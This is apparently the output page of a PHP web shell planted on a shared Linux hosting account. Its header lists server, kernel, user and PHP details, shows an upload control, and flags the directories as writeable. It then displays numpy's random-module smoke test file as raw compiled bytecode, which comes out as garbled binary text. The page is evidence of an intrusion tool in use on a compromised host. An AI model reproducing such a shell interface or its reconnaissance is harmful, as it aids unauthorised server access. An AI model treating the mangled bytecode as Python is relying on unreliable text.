https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/numpy/random/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/numpy/random/tests/__pycache__/test_smoke.cpython-310.pyc
o

6��an�@s(ddlZddlmZddlZddlZddlmZmZm	Z	ddl
mZmZm
Z
mZmZmZejdejejejejejejejejejf	d�dd��Zd	d
�Zd dd
�Zdd�Zd!dd�ZGdd�d�Z Gdd�de �Z!Gdd�de �Z"Gdd�de �Z#Gdd�de �Z$Gdd�de �Z%Gdd�de �Z&dS)"�N)�partial)�assert_equal�assert_�assert_array_equal)�	Generator�MT19937�PCG64�	PCG64DXSM�Philox�SFC64�module)�scope�paramscCs|jS�N)�param)�request�r�?/usr/lib/python3/dist-packages/numpy/random/tests/test_smoke.py�dtype	srcCsr|�}tt�|��|d�}t|jdk�|d�}t|jdk�|d�}t|jdk�|dd�}t|jdk�dS)N�
�r�rr�rrr)�r��size)r�np�isscalar�shape)�f�valrrr�params_0s
r!FcCsd}t�dd�}t�dd��d�}t�dd��d�}t�ddg�}t�dd��d	�}|rVd
}|d|��}|d|��}|d|��}|d|��}|d|��}||�||dd�||�||�||�||d
d�||dd�||dd�dS)Ng@�@g(@��Y@rgP�@r�@)�rr%��?g�?rr�r�)r�arange�reshape�array�max)r�bounded�a�b�c�d�e�grrr�params_1s*r4cCs�d}t|t�r|D]
}|t||||�M}q	|St|�t|�kr-|t|�t|�kM}|St|tttjf�rRt|tttjf�rRt||�D]\}}|t||�M}qD|S|||kM}|S)NT)	�
isinstance�dict�
comp_state�type�list�tupler�ndarray�zip)�state1�state2�	identical�key�s1�s2rrrr7>s 

����r7cCs�|dur
dtj�dd�}|�|�|�|�|j|tjd�|j|tjd�|jdd|tjd�|jdd|tjd�|�d|�|jd|tjd�|j|tjd�|j|tjd�dS)N�r��r�lg&@)	r�random�randint�standard_normal�float32�integers�uint64�standard_gamma�float64)�rg�nrrr�warmupOs

rQc@sDeZdZedd��Zedd��Zdd�Zdd�Zd	d
�Zdd�Z	d
d�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�Zd3d4�Zd5d6�Zd7d8�Zd9d:�Z d;d<�Z!d=d>�Z"d?d@�Z#dAdB�Z$dCdD�Z%dEdF�Z&dGdH�Z'dIdJ�Z(dKdL�Z)dMdN�Z*dOdP�Z+dQdR�Z,dSdT�Z-dUdV�Z.dWdX�Z/dYdZ�Z0d[d\�Z1d]d^�Z2d_d`�Z3dadb�Z4dcdd�Z5dedf�Z6dgdh�Z7didj�Z8dkdl�Z9dmdn�Z:dodp�Z;dqdr�Z<dsdt�Z=dudv�Z>dwdx�Z?dydz�Z@d{d|�ZAd}d~�ZBdd��ZCd�d��ZDd�d��ZEd�d��ZFd�d��ZGd�d��ZHd�d��ZId�S)��RNGcC�Dt|_d|_dg|_t|j|j��|_|jjj|_d|_|�	�dS)N�90�@�
r�
bit_generator�advance�seedrrO�state�
initial_state�seed_vector_bits�_extra_setup��clsrrr�setup_class_szRNG.setup_classcCsHt�dd�|_t�dd�ddd�f|_t�ddd��d�|_t|_dS)Nr"r#g{�G�z�?��drb)rr)�vec_1d�vec_2dr*�mat�	TypeError�
seed_errorr^rrrr]js
zRNG._extra_setupcCs|j|jj_dSr)r[rOrWrZ��selfrrr�_reset_stateqszRNG._reset_statecCsJt|���}|jj}|�d�|�d�||j_|jj}tt||��dS)Nr%)rrWrZrIrr7)rirOrZ�	new_staterrr�	test_initts

z
RNG.test_initcCsb|jjj}t|jjd�r!|jj�|j�tt||jjj��dS|jjjj}t	�
d|���dS)NrXzAdvance is not supported by )rOrWrZ�hasattrrXrr7�	__class__�__name__�pytest�skip)rirZ�bitgen_namerrr�test_advance}s
zRNG.test_advancecCs�|jjj}t|jjd�r:|jj��}|j}tt||��|j�d�||jj_|jj��}|j}tt||��dS|jjjj	}|dvrKt
d|����t�d|���dS)N�jumpedi.�)rzno "jumped" in zJump is not supported by )
rOrWrZrmrtrr7rGrnro�AttributeErrorrprq)rirZ�bit_gen2�jumped_state�bit_gen3�rejumped_staterrrrr�	test_jump�s

z
RNG.test_jumpcCsF|jjdddd�}tt|�dk�t|dk���t|dk���dS)N���rr���r)rO�uniformr�len�all�ri�rrrr�test_uniform�szRNG.test_uniformcCs�|jjt�dgd�ddd�}tt|�dk�t|dk���t|dk���|jjt�dgd�t�dgd�dd�}tt|�dk�t|dk���t|dk���|jjdt�dgd�dd�}tt|�dk�t|dk���t|dk���dS)Nr{rr|rr}r)rOr~rr+rrr�r�rrr�test_uniform_array�s�zRNG.test_uniform_arraycC�(tt|j�d��dk�t|jj�dS�Nr)rrrOrGr!rhrrr�test_random��zRNG.test_randomcCstt|j�d��dk�dSr�)rrrOrIrhrrr�test_standard_normal_zig�szRNG.test_standard_normal_zigcCr�r�)rrrOrIr!rhrrr�test_standard_normal�r�zRNG.test_standard_normalcCsPtt|j�dd��dk�tt|j�t�dgd�d��dk�t|jj�dSr�)rrrOrMrr+r4rhrrr�test_standard_gamma�s&zRNG.test_standard_gammacCr�r�)rrrO�standard_exponentialr!rhrrr�test_standard_exponential�r�zRNG.test_standard_exponentialcCsH|jjddd�}tt|�dk�|jtjksJ�tt|jjdd��dS)NrrJrE�	rOr�rrrrrJr!r�ri�randomsrrr�test_standard_exponential_float�sz#RNG.test_standard_exponential_floatcCsL|jjdddd�}tt|�dk�|jtjksJ�tt|jjddd��dS)NrrJ�inv)r�methodr�r�rrr�#test_standard_exponential_float_log�s
��z'RNG.test_standard_exponential_float_logcCr�r�)rrrO�standard_cauchyr!rhrrr�test_standard_cauchy�r�zRNG.test_standard_cauchycCs*tt|j�dd��dk�t|jj�dSr�)rrrO�
standard_tr4rhrrr�test_standard_t�szRNG.test_standard_tcCs0t|j�dd�dk�t|j�dd�dk�dS)Nrr&r��)rrO�binomialrhrrr�
test_binomial�szRNG.test_binomialcCs<|jjj}|j�d�}||jj_|j�d�}t||k�dS)Nl)rOrWrZrKr)rirZ�int_1�int_2rrr�test_reset_state�s


zRNG.test_reset_statecCs4t|���}t|���}tt|jj|jj��dSr)rrWrr7rZ�rirO�rg2rrr�test_entropy_init�s

�zRNG.test_entropy_initcCsJt|j|j��}t|j|j��}|��|��tt|jj|jj��dSr)rrWrYrGrr7rZr�rrr�	test_seed�s
z
RNG.test_seedcCsZt|j|j��}|��|jj}|jdd�}t|���}||j_|jdd�}t||�dS)Nrr)rrWrYrIrZr�rirOrZ�n1r��n2rrr�test_reset_state_gauss�szRNG.test_reset_state_gausscCsvt|j|j��}|jdddtjd�|jj}|jdddtjd�}t|���}||j_|jdddtjd�}t||�dS)NrrF�xrEr)rrWrYrKr�uint32rZrr�rrr�test_reset_state_uint32�szRNG.test_reset_state_uint32cCsht|j|j��}|jdd�|jj}|jddd�}t|���}||j_|jddd�}t||k���dS)NrJrEr�rr)rrWrYrGrZrr�r�rrr�test_reset_state_floatszRNG.test_reset_state_floatcC�.t�ddd�}|j�|�}t||k���dS�N��rr}�rr)rO�permutationr�any�ri�original�permutedrrr�test_shuffle�zRNG.test_shufflecCr�r�r�r�rrr�test_permutationr�zRNG.test_permutationcCs�|j�ddd�}tt|�dk�|j�t�dgd�d�}tt|�dk�|j�dt�dgd��}tt|�dk�|j�t�dgd�t�dgd��}tt|�dk�|j�t�dgd�t�dggd��}t|jdk�dS)Nr"rr)rO�betarrrr+r�ri�valsrrr�	test_betas&(z
RNG.test_betacCs |j�d�}tt|�dk�dSr�)rO�bytesrrr�rrr�
test_bytes"szRNG.test_bytescC�.|j�dd�}tt|�dk�t|jj�dS�Nr"r)rO�	chisquarerrr4r�rrr�test_chisquare&�zRNG.test_chisquarecCr�r�)rO�exponentialrrr4r�rrr�test_exponential+r�zRNG.test_exponentialcC�$|j�ddd�}tt|�dk�dS)N�r�r)rOrrrr�rrr�test_f0�z
RNG.test_fcCr�)Nr�r(r)rO�gammarrr�rrr�
test_gamma4r�zRNG.test_gammacCs2|j�dd�}tt|�dk�t|jjdd�dS)Nr&rT�r-)rO�	geometricrrr4r�r�rrr�test_geometric8�zRNG.test_geometriccC�$|j�ddd�}tt|�dk�dSr�)rO�gumbelrrr�rrr�test_gumbel=r�zRNG.test_gumbelcCr�r�)rO�laplacerrr�rrr�test_laplaceAr�zRNG.test_laplacecCr�r�)rO�logisticrrr�rrr�test_logiticEr�zRNG.test_logiticcC�"|j�dd�}tt|�dk�dS)Nr&r)rO�	logseriesrrr�rrr�test_logseriesI�zRNG.test_logseriescC�$|j�ddd�}tt|�dk�dS�Nr皙�����?)rO�negative_binomialrrr�rrr�test_negative_binomialMr�zRNG.test_negative_binomialcCr�)Nrr()rO�noncentral_chisquarerrr�rrr�test_noncentral_chisquareQr�zRNG.test_noncentral_chisquarecCs�|j�dddd�}tt|�dk�|j�t�dgd�dd�}tt|�dk�|j�dt�dgd�d�}tt|�dk�|j�ddt�dgd��}tt|�dk�dS)Nr�r�r(r)rO�noncentral_frrrr+r�rrr�test_noncentral_fUszRNG.test_noncentral_fcCr�r�)rO�normalrrr�rrr�test_normal_r�zRNG.test_normalcCr�)Nr$r)rO�paretorrr�rrr�test_paretocr�zRNG.test_paretocCsV|j�dd�}tt|�dk�|j�t�dgd��}tt|�dk�t|jj�dSr�)rO�poissonrrrr+r4r�rrr�test_poissongs
zRNG.test_poissoncCr�)Nr�r)rO�powerrrr�rrr�
test_powernr�zRNG.test_powercCr�)NrrD)rOrKrrr�rrr�
test_integersrr�zRNG.test_integerscCs2|j�dd�}tt|�dk�t|jjdd�dS)Nr�rTr�)rO�rayleighrrr4r�rrr�
test_rayleighvr�zRNG.test_rayleighcCr�r�)rO�vonmisesrrr�rrr�
test_vonmises{r�zRNG.test_vonmisescCr��N��?r)rO�waldrrr�rrr�	test_waldr�z
RNG.test_waldcCr�r�)rO�weibullrrr�rrr�test_weibull�r�zRNG.test_weibullcCsx|j�dd�}tt|�dk�|j�|j�}tt|�dk�|j�|j�}t|jdk�|j�|j�}t|jdk�dS)Nrrb)r%rbra)rO�zipfrrrcrdrrer�rrr�	test_zipf�sz
RNG.test_zipfcCsL|j�ddd�}tt�|��|j�t�dgd�dd�}t|jdk�dS)N�rDrr)rO�hypergeometricrrrr+rr�rrr�test_hypergeometric��zRNG.test_hypergeometriccCsL|j�ddd�}tt�|��|j�dt�dgd�d�}t|jdk�dS)N���rrrr)rO�
triangularrrrr+rr�rrr�test_triangular�r�zRNG.test_triangularcCs�ddg}ddgddgg}|j�||d�}t|jdk�|j�||d�}t|jdk�|j�||d�}t|jdk�t||k���dS)Nrr%rb�)r�r()rO�multivariate_normalrrr�)ri�mean�cov�x�x_zig�x_invrrr�test_multivariate_normal�szRNG.test_multivariate_normalcCsH|j�dddg�}t|jdk�|jjdddgdd�}t|jdk�dS)NrbgUUUUUU�?gUUUUUU�?)r(rrr')rO�multinomialrrr�rrr�test_multinomial�szRNG.test_multinomialcCs |j�dd�}t|jdk�dS)N)rrr�rD)rDr�)rO�	dirichletrr)ri�srrr�test_dirichlet�szRNG.test_dirichletcCs�t�|j�}t�|�}tt|j�t|�k�tt|jjj|jj��t�|j�}t�|�}tt|j�t|�k�tt|jjj|jj��dSr)	�pickle�dumpsrO�loadsrr8r7rWrZ)ri�pick�unpickrrr�test_pickle�s
�

�zRNG.test_picklecCsX|jdur|jj}t�d|���|jdkrtj}ntj}tjdg|d�}|�|�}|j	}|�d�}|j	}t
t||��tjd|d�}|�|�}|j	}|�|d�}|j	}t
t||��tjd|d�}|�|�}|j	}|�|d�}|j	}t
t||��dt�
tjd|d�|jd�d}|�|�}|j	}|�|d�}|j	}t
t||��dS)	Nz#Vector seeding is not supported by � r%rE�ri�r()r\rWrorprqrr�rLr+rZrr7r)�mod)rirrrrY�bgr=r>rrr�test_seed_array�sD





��
zRNG.test_seed_arraycCs�t|�d��}t|�|jj}|jdtjd�}t|���}t|�||j_|jdtjd�}t||�t|j	tj�t
t|jj|jj��dS)NrTrCrE)rrWrQrZrGrrJrrrrr7�rirOrZ�r1r��r2rrr�test_uniform_float�s
zRNG.test_uniform_floatcCs�t|���}t|�|jj}|jddtjd�}t|���}t|�||j_|jddtjd�}t||�t|j	tj�t
t|jj|jj��dS)Ng@rCrE)rrWrQrZrMrrJrrrrr7rrrr�test_gamma_floats�s
zRNG.test_gamma_floatscC�t|���}t|�|jj}|jdtjd�}t|���}t|�||j_|jdtjd�}t||�t|j	tj�t
t|jj|jj��dS�NrCrE�rrWrQrZrIrrJrrrrr7rrrr�test_normal_floats��
zRNG.test_normal_floatscCrrrrrrr�test_normal_zig_floatsr zRNG.test_normal_zig_floatscCs�|j}|jj}d}t�|�}||j_|j|d�||j_|j|d�}t||�t�|�}||j_|j||jd�tj|tjd�}||j_|j|tjd�||j_|j|tjd�}t||�dS)N����a��outr)r'rrE�r'rr�)	rOrWrZr�emptyrIrrrJ)rirOrZr�existing�direct�sizedrrr�test_output_fills$


zRNG.test_output_fillcC�|j}|jj}d}t�|�}||j_|j|d�||j_|j|d�}t||�tj|tjd�}||j_|j|tjd�||j_|j|tjd�}t||�dS�Nr"r&rrEr(r�)rOrWrZrr)rGrrJ�rirOrZrr*r+rrr�test_output_filling_uniform/�

zRNG.test_output_filling_uniformcCr.r/)rOrWrZrr)r�rrJr0rrr�test_output_filling_exponentialAr2z#RNG.test_output_filling_exponentialcCs�|j}|jj}d}t�|�}||j_|jd|d�||j_|jd|d�}t||�tj|tjd�}||j_|jd|tjd�||j_|jd|tjd�}t||�dS)Nr"r�r&rrEr(r�)rOrWrZr�zerosrMrrJr0rrr�test_output_filling_gammaSs

zRNG.test_output_filling_gammacCs�|j}|jj}d}t�d�d}t�|�}||j_|j||d�||j_|j||d�}t||�tj|tjd�}||j_|j||tjd�||j_|j||tjd�}t||�dS)	Nr"g@X@r�r&rrEr(r�)	rOrWrZrr)r4rMrrJ)rirOrZr�mur*r+rrr�#test_output_filling_gamma_broadcastes 

z'RNG.test_output_filling_gamma_broadcastcCs�|j}d}t�|�}t�t��|j|tjd�Wd�n1s"wYt�t��|j|ddd�d�Wd�n1sBwYtj|tjd�}t�t��|j|tj	d�Wd�n1sgwYtj
|tjd�}t�t��|jd|tj	d�Wd�n1s�wYt�t��|jd|ddd�tjd�Wd�n1s�wYtj
|tj	d�}t�t��|jd|tjd�Wd�n1s�wYt�t��|jd|ddd�d�Wd�dS1s�wYdS)Nr"r(r�r&rEr�)rOrr)rp�raisesrfrIrJ�
ValueErrorrNr4rM)rirOrr*rrr�test_output_fill_errorxs6
������"�zRNG.test_output_fill_errorc
Csf|tjkr
d}d}nt�|�}t|j�d}|j}|��|jj||gd|d�}|��|jj|gd||d�}t	||�|��|jj||d|d�}t	||�|��|jjt�
|gd�tj
|gtd�d|d�}t	||�|��|jjt�
|gd�t�
|gd�d|d�}	t	||	�|��|jjd|d|d�}|��|jj|gd|d�}t	||�dS)Nr(rr%rrEr�)r�bool_�iinfo�intr,�minrjrOrKrr+�object)
rir�upper�lower�infor.r/r0r1r2rrr�test_integers_broadcast�sB




��
�
zRNG.test_integers_broadcastcCs�t�dg�}t�dg�}|jj|||d�}|jdksJ�|jj|d||d�}|jdks.J�|jj||d|d�}|jdks@J�dS)Nr%rrE)r%)rr+rOrKr)rir�high�lowr'rrr�test_integers_numpy�szRNG.test_integers_numpycCsL|tjkr
d}d}nt�|�}t|j�d}|j}t�t��|j	j
||dgd|d�Wd�n1s7wYt�t��|j	j
|d|gd|d�Wd�n1sZwYt�t��|j	j
|dg|gd|d�Wd�n1s~wYt�t��|j	j
dgdg|d�Wd�dS1s�wYdS)Nr(rr%rrE)rr;r<r=r,r>rpr8r9rOrK)rirr@rArBrrr�test_integers_broadcast_errors�s$

�� �"�z"RNG.test_integers_broadcast_errorsN)Jro�
__module__�__qualname__�classmethodr`r]rjrlrsrzr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrrrrrr!r-r1r3r5r7r:rCrFrGrrrrrR^s�


		





&



!
rRc@s eZdZedd��Zdd�ZdS)�TestMT19937cCsJt|_d|_dg|_t|j|j��|_|jjj|_d|_|�	�t
|_dS)Ni!!r)rrWrXrYrrOrZr[r\r]r9rgr^rrrr`�s
zTestMT19937.setup_classcCshtj��}|�d�|��}||jj_|jjj}t|d|ddk�	��t|d|ddk�dS)N�cr%rZr@r(�pos)
rrG�RandomStaterI�	get_staterOrWrZrr�)ri�nprgrZr>rrr�test_numpy_state�s



zTestMT19937.test_numpy_stateN)rorHrIrJr`rQrrrrrK�s

rKc@�eZdZedd��ZdS)�
TestPhiloxcC�Dt|_d|_dg|_t|j|j��|_|jjj|_d|_|�	�dS�NlrTrU)
r
rWrXrYrrOrZr[r\r]r^rrrr`��zTestPhilox.setup_classN�rorHrIrJr`rrrrrS��rSc@rR)�	TestSFC64cCrS)NrT�)
rrWrXrYrrOrZr[r\r]r^rrrr`�rVzTestSFC64.setup_classNrWrrrrrY�rXrYc@rR)�	TestPCG64cCrTrUrVr^rrrr`�rVzTestPCG64.setup_classNrWrrrrr[�rXr[c@rR)�
TestPCG64DXSMcCrTrU)
r	rWrXrYrrOrZr[r\r]r^rrrr`
rVzTestPCG64DXSM.setup_classNrWrrrrr\	rXr\c@s(eZdZedd��Zdd�Zdd�ZdS)�TestDefaultRNGcCsBt|_d|_dg|_tjj|j�|_|jjj|_	d|_
|��dSrU)rrWrXrYrrG�default_rngrOrZr[r\r]r^rrrr`szTestDefaultRNG.setup_classcCstt|jjt��dSr)rr5rOrWrrhrrr�test_default_is_pcg64"sz$TestDefaultRNG.test_default_is_pcg64cCs�tj��tj�d�tj�d�tj�d�tj�d�tj�ddg�t�t��tj�d�Wd�n1s;wYt�t��tj�ddg�Wd�dS1sYwYdS)NrTrl	-�tE+�I�6�%�Yl l	)	��~�eR :TI*�6�r})rrGr^rpr8r9rhrrrr�'s
��"�zTestDefaultRNG.test_seedN)rorHrIrJr`r_r�rrrrr]s

r])Fr)'r�	functoolsr�numpyrrp�
numpy.testingrrr�numpy.randomrrrr	r
r�fixturer;�int8�int16�int32�int64�uint8�uint16r�rLrr!r4r7rQrRrKrSrYr[r\r]rrrr�<module>s6 ��


!
u

https://t.me/RX1948 - 2025